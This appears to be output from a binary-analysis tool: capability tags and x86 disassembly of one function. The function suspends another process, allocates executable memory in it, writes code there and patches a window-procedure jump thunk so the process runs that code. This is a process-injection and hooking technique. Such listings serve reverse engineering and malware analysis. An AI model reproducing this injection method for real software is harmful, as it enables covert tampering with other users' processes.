Function at 0x401880
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ac
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x24]
push ebx
push esi
push edi
push ecx
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x401bc2
push 0x4030d8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x401bc2
push str.NtdllDefWindowProc_W
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x401bc2
cmp byte [ebx], 0xff
jne 0x401bc2
cmp byte [ebx + 1], 0x25
jne 0x401bc2
call fcn.00401760
mov esi, eax
call fcn.00401000
sub esi, eax
mov dword [ebp - 0x18], esi
lea ecx, [esi + 0xfff]
and ecx, 0xfffff000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp - 0x10], edi
test edi, edi
je 0x401bc2
call fcn.00401010
mov dword [ebp - 0x14], eax
call fcn.00401000
mov ecx, dword [ebp - 0x14]
sub ecx, eax
push esi
mov dword [ebp - 0x14], ecx
add edi, ecx
call fcn.00401000
push eax
push dword [ebp - 0x10]
call sub.ntdll.dll_memcpy
push 0x188
lea eax, [ebp - 0x1ac]
push 0
push eax
call sub.ntdll.dll_memset
mov ecx, 0x62
lea esi, [ebp - 0x1ac]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x14]
mov eax, sym.imp.ntdll.dll_LdrLoadDll
add esi, dword [ebp - 0x10]
add esp, 0x18
mov eax, dword [eax]
mov dword [esi + 0xc], eax
mov eax, sym.imp.ntdll.dll_LdrUnloadDll
mov eax, dword [eax]
mov dword [esi + 0x10], eax
mov eax, sym.imp.ntdll.dll_LdrGetProcedureAddress
mov eax, dword [eax]
mov dword [esi + 0x14], eax
mov eax, sym.imp.ntdll.dll_NtProtectVirtualMemory
mov eax, dword [eax]
mov dword [esi + 0x18], eax
mov eax, dword [ebp - 0x1c]
mov dword [esi + 8], eax
call fcn.00401000
mov edi, dword [sym.imp.ntdll.dll_wcscpy_s]
mov ecx, 0x401750
sub ecx, eax
lea eax, [esi + 0x30]
push str.duilib.dll
push 0x10
push eax
mov dword [esi + 0x28], ecx
call edi
push str._GetDPIX_DuiApi__YAHXZ
lea eax, [esi + 0x50]
mov esi, dword [sym.imp.ntdll.dll_strcpy_s]
push 0x18
push eax
call esi
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
add ecx, 0x68
push str._GetDPIY_DuiApi__YAHXZ
add eax, ecx
push 0x18
push eax
call esi
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
sub ecx, 0xffffff80
push str._accLocation_CContainerAccessibility_DuiLib__UAGJPAJ000UtagVARIANT___Z
add eax, ecx
push 0x48
push eax
call esi
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
add ecx, 0xc8
push str._accLocation_CControlAccessiblity_DuiLib__UAGJPAJ000UtagVARIANT___Z
add eax, ecx
push 0x48
push eax
call esi
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
push str._accLocation_CWindowAccessibility_DuiLib__UAGJPAJ000UtagVARIANT___Z
push 0x48
add ecx, 0x110
add eax, ecx
push eax
call esi
mov ecx, dword [ebp - 0x14]
add esp, 0x48
mov eax, dword [ebp - 0x10]
add ecx, 0x158
add eax, ecx
push str.user32.dll
push 0x10
push eax
call edi
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
add ecx, 0x178
push str.GetWindowLongW
add eax, ecx
push 0x10
push eax
call esi
add esp, 0x18
push dword [ebp - 0x24]
push 0
push 0xc38
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x401bc2
push edi
call sub.ntdll.dll_NtSuspendProcess
mov esi, eax
xor eax, eax
not esi
mov dword [ebp - 0xc], eax
shr esi, 0x1f
mov word [ebp - 8], ax
test esi, esi
je 0x401ba0
push eax
push 6
lea eax, [ebp - 0xc]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x401ba0
cmp byte [ebp - 0xc], 0xff
jne 0x401ba0
cmp byte [ebp - 0xb], 0x25
jne 0x401ba0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xa]
push 0x40
push 0x1000
push dword [ebp - 0x18]
mov dword [edx + ecx + 4], eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x401ba0
mov edx, dword [ebp - 0x10]
mov ecx, eax
mov esi, dword [ebp - 0x14]
sub ecx, fcn.00401000
push 0
push dword [ebp - 0x18]
add ecx, 0x4014c0
push edx
push eax
push edi
mov dword [ebp - 0x1c], ecx
mov dword [esi + edx], ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, eax
test esi, esi
je 0x401b8e
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push ecx
push 4
lea eax, [ebx + 2]
push 4
push eax
push edi
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ebx, dword [ebp - 0x20]
mov esi, eax
test esi, esi
je 0x401b91
mov eax, dword [ebp - 0x14]
push 0
add eax, ebx
push 4
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push 4
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test esi, esi
jne 0x401ba0
jmp 0x401b91
mov ebx, dword [ebp - 0x20]
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call sub.ntdll.dll_NtResumeProcess
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402024
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402024
mov esp, ebp
pop ebp
ret 4